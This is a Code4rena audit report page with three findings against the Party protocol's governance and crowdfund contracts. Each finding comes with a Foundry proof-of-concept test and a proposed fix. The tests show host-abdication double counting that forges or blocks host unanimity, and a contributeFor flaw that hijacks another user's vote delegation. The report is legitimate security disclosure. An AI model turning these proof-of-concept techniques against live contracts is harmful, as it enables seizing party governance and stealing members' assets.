Platform: Code4rena
Start Date: 31/10/2023
Pot Size: $60,500 USDC
Total HM: 9
Participants: 65
Period: 10 days
Judge: gzeon
Total Solo HM: 2
Id: 301
League: ETH
Rank: 20/65
Findings: 2
Award: $435.06
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Madalad
Also found by: 0xbepresent, 3docSec, Emmanuel, HChang26, P12473, Shaheen, adriro, ast3ros, bart1e, evmboi32, klau5, pontifex, rvierdiiev, sin1st3r__
199.934 USDC - $199.93
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L1126 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457-L472 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L636-L638
The proposal is not executed immediately, even though the hosts have unanimously agreed to it.
The abdicateHost
function allows you to move Host to another account. This means that the number of Hosts that can exist at the same time is up to numHosts
, but the number of accounts that have actually been Hosts can be higher.
function abdicateHost(address newPartyHost) external { _assertHost(); // 0 is a special case burn address. if (newPartyHost != address(0)) { // Cannot transfer host status to an existing host. if (isHost[newPartyHost]) { revert InvalidNewHostError(); } @> isHost[newPartyHost] = true; } else { // Burned the host status --numHosts; } @> isHost[msg.sender] = false; emit HostStatusTransferred(msg.sender, newPartyHost); }
User1 is the Host. User1 votes and then moves Host to User2. After pass Host role to User2 and User2 votes as Host, the number of pv.numHostsAccepted
can be greater than pv.numHosts
.
function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) { ... @> if (isHost[msg.sender]) { @> ++values.numHostsAccepted; } info.values = values;
If the same number of Hosts voted as numHosts
at the time the proposal was created (unanimous), the proposal is executed immediately without waiting for a delay. However, if pv.numHostsAccepted > pv.numHosts
as shown above, the proposal cannot be executed immediately even though a sufficient number of Hosts have agreed.
function _getProposalStatus( ProposalStateValues memory pv ) private view returns (ProposalStatus status) { ... if (pv.passedTime != 0) { ... // If all hosts voted, skip execution delay @> if (_hostsAccepted(pv.numHosts, pv.numHostsAccepted)) { return ProposalStatus.Ready; } // Passed. return ProposalStatus.Passed; } ... } function _hostsAccepted( uint8 snapshotNumHosts, uint8 numHostsAccepted ) private pure returns (bool) { @> return snapshotNumHosts > 0 && snapshotNumHosts == numHostsAccepted; }
This is PoC testcode. Put this code at PartyGovernance.t.sol file.
function testGovernance_allHostsAccept_numHostsAccepted_bigger_PoC() public { ( Party party, IERC721[] memory preciousTokens, uint256[] memory preciousTokenIds ) = partyAdmin.createParty( partyImpl, PartyAdmin.PartyCreationMinimalOptions({ host1: address(danny), host2: address(this), passThresholdBps: 5000, totalVotingPower: 60, preciousTokenAddress: address(toadz), preciousTokenId: 1, rageQuitTimestamp: 0, feeBps: 0, feeRecipient: payable(0) }) ); DummySimpleProposalEngineImpl engInstance = DummySimpleProposalEngineImpl(address(party)); // Mint first governance NFT partyAdmin.mintGovNft(party, address(john), 20, address(john)); assertEq(party.votingPowerByTokenId(1), 20); assertEq(party.ownerOf(1), address(john)); // mint another governance NFT partyAdmin.mintGovNft(party, address(danny), 20, address(danny)); assertEq(party.votingPowerByTokenId(2), 20); assertEq(party.ownerOf(2), address(danny)); // mint third governance NFT partyAdmin.mintGovNft(party, address(steve), 10, address(steve)); assertEq(party.votingPowerByTokenId(3), 10); assertEq(party.ownerOf(3), address(steve)); // Generate proposal PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({ maxExecutableTime: 9999999999, proposalData: abi.encodePacked([0]), cancelDelay: uint40(1 days) }); john.makeProposal(party, p1, 2); // Ensure John's votes show up assertEq(party.getGovernanceValues().totalVotingPower, 60); _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Voting, 20); danny.vote(party, 1, 0); // Host _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 40); // danny moves Host to steve vm.prank(address(danny)); party.abdicateHost(address(steve)); steve.vote(party, 1, 0); // New host party.accept(1, 0); // host2 voted // Host accepted but it cannot execute immediately _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 50); assertEq(engInstance.getLastExecutedProposalId(), 0); assertEq(engInstance.getNumExecutedProposals(), 0); }
Manual Review
function _hostsAccepted( uint8 snapshotNumHosts, uint8 numHostsAccepted ) private pure returns (bool) { - return snapshotNumHosts > 0 && snapshotNumHosts == numHostsAccepted; + return snapshotNumHosts > 0 && snapshotNumHosts <= numHostsAccepted; }
Other
#0 - c4-pre-sort
2023-11-12T05:44:04Z
ydspa marked the issue as sufficient quality report
#1 - ydspa
2023-11-12T05:46:28Z
Same root cause with #538 , different impact, keep separately now
#2 - c4-pre-sort
2023-11-12T09:03:43Z
ydspa marked the issue as primary issue
#3 - arr00
2023-11-14T21:11:13Z
Very similar to #538 as @ydspa mentions. I don't think it would be a medium on its own.
#4 - c4-sponsor
2023-11-14T21:11:23Z
arr00 marked the issue as disagree with severity
#5 - c4-sponsor
2023-11-14T21:11:28Z
arr00 (sponsor) confirmed
#6 - gzeon-c4
2023-11-19T13:23:20Z
Considering this as duplicates of #538
#7 - c4-judge
2023-11-19T13:23:42Z
gzeon-c4 marked the issue as duplicate of #538
#8 - c4-judge
2023-11-19T13:31:32Z
gzeon-c4 changed the severity to 3 (High Risk)
#9 - c4-judge
2023-11-19T13:31:57Z
gzeon-c4 marked the issue as satisfactory
#10 - c4-judge
2023-11-23T11:35:48Z
gzeon-c4 marked the issue as partial-50
🌟 Selected for report: Madalad
Also found by: 0xbepresent, 3docSec, Emmanuel, HChang26, P12473, Shaheen, adriro, ast3ros, bart1e, evmboi32, klau5, pontifex, rvierdiiev, sin1st3r__
199.934 USDC - $199.93
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L636-L638 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L457-L472
A single Host can make a Host unanimity situation and execute the proposal immediately.
The abdicateHost
function allows you to delegate Host to another account.
function abdicateHost(address newPartyHost) external { _assertHost(); // 0 is a special case burn address. if (newPartyHost != address(0)) { // Cannot transfer host status to an existing host. if (isHost[newPartyHost]) { revert InvalidNewHostError(); } @> isHost[newPartyHost] = true; } else { // Burned the host status --numHosts; } @> isHost[msg.sender] = false; emit HostStatusTransferred(msg.sender, newPartyHost); }
User1 is Host. If User1 votes and then moves Host to User2, it can be manipulated to appear that multiple hosts voted. In other words, a single host can make a host unanimity situation.
function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) { ... @> if (isHost[msg.sender]) { @> ++values.numHostsAccepted; } info.values = values;
This means that the proposal can be executed immediately, even if not all hosts have agreed to it.
This is PoC testcode. You can put this at PartyGovernance.t.sol file and run it.
function testGovernance_allHostsAccept_PoC() public { ( Party party, IERC721[] memory preciousTokens, uint256[] memory preciousTokenIds ) = partyAdmin.createParty( partyImpl, PartyAdmin.PartyCreationMinimalOptions({ host1: address(danny), host2: address(this), passThresholdBps: 5000, totalVotingPower: 60, preciousTokenAddress: address(toadz), preciousTokenId: 1, rageQuitTimestamp: 0, feeBps: 0, feeRecipient: payable(0) }) ); DummySimpleProposalEngineImpl engInstance = DummySimpleProposalEngineImpl(address(party)); // Mint first governance NFT partyAdmin.mintGovNft(party, address(john), 20, address(john)); assertEq(party.votingPowerByTokenId(1), 20); assertEq(party.ownerOf(1), address(john)); // mint another governance NFT partyAdmin.mintGovNft(party, address(danny), 20, address(danny)); assertEq(party.votingPowerByTokenId(2), 20); assertEq(party.ownerOf(2), address(danny)); // mint third governance NFT partyAdmin.mintGovNft(party, address(steve), 10, address(steve)); assertEq(party.votingPowerByTokenId(3), 10); assertEq(party.ownerOf(3), address(steve)); // Generate proposal PartyGovernance.Proposal memory p1 = PartyGovernance.Proposal({ maxExecutableTime: 9999999999, proposalData: abi.encodePacked([0]), cancelDelay: uint40(1 days) }); john.makeProposal(party, p1, 2); // Ensure John's votes show up assertEq(party.getGovernanceValues().totalVotingPower, 60); _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Voting, 20); danny.vote(party, 1, 0); // Host _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Passed, 40); // danny moves Host to steve vm.prank(address(danny)); party.abdicateHost(address(steve)); steve.vote(party, 1, 0); // New host // party.accept(1, 0); // host2 address(this) not voted // Host accepted so can execute immediately. _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Ready, 50); assertEq(engInstance.getLastExecutedProposalId(), 0); assertEq(engInstance.getNumExecutedProposals(), 0); // Execute proposal john.executeProposal( party, PartyParticipant.ExecutionOptions({ proposalId: 1, proposal: p1, preciousTokens: preciousTokens, preciousTokenIds: preciousTokenIds, progressData: abi.encodePacked([address(0)]) }) ); // Ensure execution occurred _assertProposalStatus(party, 1, PartyGovernance.ProposalStatus.Complete, 50); assertEq(engInstance.getFlagsForProposalId(1), LibProposal.PROPOSAL_FLAG_HOSTS_ACCEPT); assertEq(engInstance.getLastExecutedProposalId(), 1); assertEq(engInstance.getNumExecutedProposals(), 1); }
Manual Review
Save the list of Hosts when creating proposal. Only their votes count as Host votes. Also check if this Host is still a Host, so that deleted host cannot be treated as Host.
function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) { ... - if (isHost[msg.sender]) { + if (isHost[msg.sender] && wasHostAtProposed[proposalId][msg.sender]) { ++values.numHostsAccepted; } info.values = values;
Access Control
#0 - c4-pre-sort
2023-11-12T05:42:38Z
ydspa marked the issue as duplicate of #538
#1 - c4-pre-sort
2023-11-12T05:42:42Z
ydspa marked the issue as sufficient quality report
#2 - c4-judge
2023-11-19T13:31:32Z
gzeon-c4 changed the severity to 3 (High Risk)
#3 - c4-judge
2023-11-19T13:31:55Z
gzeon-c4 marked the issue as satisfactory
🌟 Selected for report: TresDelinquentes
Also found by: 0xadrii, 3docSec, klau5, leegh, mahdikarimi, minimalproxy, rvierdiiev
235.1319 USDC - $235.13
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235-L249 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L302 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L201-L208 https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L255-L273
Attacker can freely delegate other people's votes. Attacker can delegate votes without the user's knowledge. In the worst case, attacker delegate all votes and execute proposal immediately by unanimous vote. Then the attacker can be the Authority, steal assets, or crash the party.
If the attacker calls contributeFor
or batchContributeFor
, attacker can delegate votes of any user.
function contributeFor( uint256 tokenId, address payable recipient, address initialDelegate, bytes memory gateData ) external payable onlyDelegateCall returns (uint96 votingPower) { return _contribute( recipient, @> initialDelegate, msg.value.safeCastUint256ToUint96(), tokenId, gateData ); } function batchContributeFor( BatchContributeForArgs calldata args ) external payable onlyDelegateCall returns (uint96[] memory votingPowers) { votingPowers = new uint96[](args.recipients.length); uint256 valuesSum; for (uint256 i; i < args.recipients.length; ++i) { @> votingPowers[i] = _contribute( args.recipients[i], @> args.initialDelegates[i], args.values[i], args.tokenIds[i], args.gateDatas[i] ); valuesSum += args.values[i]; } if (msg.value != valuesSum) { revert InvalidMessageValue(); } } function _contribute( address payable contributor, address delegate, uint96 amount, uint256 tokenId, bytes memory gateData ) private returns (uint96 votingPower) { // Require a non-null delegate. if (delegate == address(0)) { revert InvalidDelegateError(); } ... @> votingPower = _processContribution(contributor, delegate, amount); // OK to contribute with zero just to update delegate. if (amount == 0) return 0; if (tokenId == 0) { // Mint contributor a new party card. @> party.mint(contributor, votingPower, delegate); } else if (disableContributingForExistingCard) { revert ContributingForExistingCardDisabledError(); } else if (party.ownerOf(tokenId) == contributor) { // Increase voting power of contributor's existing party card. party.increaseVotingPower(tokenId, votingPower); } else { revert NotOwnerError(tokenId); } }
In the _processContribution
function, if msg.sender
is not the contributor
, it keep delegationsByContributor
as old value. But since the InitialETHCrowndfund contract does not use the delegationsByContributor
, vote delegation to delegate
is not prevented.
function _processContribution( address payable contributor, address delegate, uint96 amount ) internal returns (uint96 votingPower) { address oldDelegate = delegationsByContributor[contributor]; if (msg.sender == contributor || oldDelegate == address(0)) { // Update delegate. delegationsByContributor[contributor] = delegate; } else { // Prevent changing another's delegate if already delegated. delegate = oldDelegate; } ... }
This is PoC code. Add it to InitialEThCrowdfund.t.sol and run it.
function test_contributeFor_doesUpdateExistingDelegation_PoC() public { InitialETHCrowdfund crowdfund = _createCrowdfund( CreateCrowdfundArgs({ initialContribution: 0, initialContributor: payable(address(0)), initialDelegate: address(0), minContributions: 0, maxContributions: type(uint96).max, disableContributingForExistingCard: false, minTotalContributions: 3 ether, maxTotalContributions: 5 ether, duration: 7 days, exchangeRateBps: 1e4, fundingSplitBps: 0, fundingSplitRecipient: payable(address(0)), gateKeeper: IGateKeeper(address(0)), gateKeeperId: bytes12(0) }) ); crowdfund.party(); address member = _randomAddress(); address payable recipient = _randomAddress(); address delegate = _randomAddress(); vm.deal(member, 1 ether); // Contribute to set initial delegation vm.prank(recipient); vm.expectEmit(true, false, false, true); emit Contributed(recipient, recipient, 0, recipient); crowdfund.contribute(recipient, ""); // Contribute to try update delegation (should not work) vm.prank(member); vm.expectEmit(true, false, false, true); emit Contributed(member, recipient, 1 ether, recipient); crowdfund.contributeFor{ value: 1 ether }(0, recipient, delegate, ""); Party party = crowdfund.party(); // All recipient's votes are delegated assertEq(party.delegationsByVoter(recipient), delegate); assertEq(party.getVotingPowerAt(delegate, uint40(block.timestamp)), 1 ether); }
Manual Review
Use delegationsByContributor
at _contribute
function _contribute( address payable contributor, address delegate, uint96 amount, uint256 tokenId, bytes memory gateData ) private returns (uint96 votingPower) { // Require a non-null delegate. if (delegate == address(0)) { revert InvalidDelegateError(); } ... votingPower = _processContribution(contributor, delegate, amount); // OK to contribute with zero just to update delegate. if (amount == 0) return 0; if (tokenId == 0) { // Mint contributor a new party card. - party.mint(contributor, votingPower, delegate); + party.mint(contributor, votingPower, delegationsByContributor[contributor]); } else if (disableContributingForExistingCard) { revert ContributingForExistingCardDisabledError(); } else if (party.ownerOf(tokenId) == contributor) { // Increase voting power of contributor's existing party card. party.increaseVotingPower(tokenId, votingPower); } else { revert NotOwnerError(tokenId); } }
Other
#0 - ydspa
2023-11-11T15:40:23Z
Intended design choice, only initial delegate (i.e. zero voting power account) could be set by others, doing this attack means giving free ETH to others, negative financial incentive.
File: contracts\crowdfund\ETHCrowdfundBase.sol 201: address oldDelegate = delegationsByContributor[contributor]; 202: if (msg.sender == contributor || oldDelegate == address(0)) { 203: // Update delegate. 204: delegationsByContributor[contributor] = delegate; 205: } else { 206: // Prevent changing another's delegate if already delegated. 207: delegate = oldDelegate; 208: }
#1 - c4-pre-sort
2023-11-11T15:40:31Z
ydspa marked the issue as insufficient quality report
#2 - c4-judge
2023-11-19T13:13:07Z
gzeon-c4 marked the issue as unsatisfactory: Invalid
#3 - klau5dev
2023-11-21T23:42:57Z
hello @gzeon-c4
I think this it not intended design(or wrongly implemented)
The intended design is only initial delegate (i.e. zero voting power account) could be set by others
, but the code does not stop resetting delegator.
@ydspa claimed _processContribution
limits only the initial delegator to be set in , but the mint
function that actually delegates votes does not use delegationsByContributor
. If you want to not change old delegator, you should use delegationsByContributor
when calling mint
.
function _contribute( address payable contributor, address delegate, uint96 amount, uint256 tokenId, bytes memory gateData ) private returns (uint96 votingPower) { // Require a non-null delegate. if (delegate == address(0)) { revert InvalidDelegateError(); } ... @> votingPower = _processContribution(contributor, delegate, amount); // OK to contribute with zero just to update delegate. if (amount == 0) return 0; if (tokenId == 0) { // Mint contributor a new party card. @> party.mint(contributor, votingPower, delegate); } else if (disableContributingForExistingCard) { revert ContributingForExistingCardDisabledError(); } else if (party.ownerOf(tokenId) == contributor) { // Increase voting power of contributor's existing party card. party.increaseVotingPower(tokenId, votingPower); } else { revert NotOwnerError(tokenId); } } function _processContribution( address payable contributor, address delegate, uint96 amount ) internal returns (uint96 votingPower) { address oldDelegate = delegationsByContributor[contributor]; if (msg.sender == contributor || oldDelegate == address(0)) { // Update delegate. @> delegationsByContributor[contributor] = delegate; } else { // Prevent changing another's delegate if already delegated. delegate = oldDelegate; }
So, the delegator can be reset by attacker.
The PoC code is the variation of test_contributeFor_doesNotUpdateExistingDelegation
test at InitialETHCrowdfund.t.sol. This test is is wrongly written because this test does not check actual delegator, but just check delegationsByContributor
.
#4 - c4-judge
2023-11-23T08:46:18Z
gzeon-c4 marked the issue as duplicate of #311
#5 - c4-judge
2023-11-23T08:46:26Z
gzeon-c4 marked the issue as satisfactory
#6 - c4-judge
2023-11-23T08:46:38Z
gzeon-c4 changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-11-23T08:52:38Z
gzeon-c4 marked the issue as duplicate of #418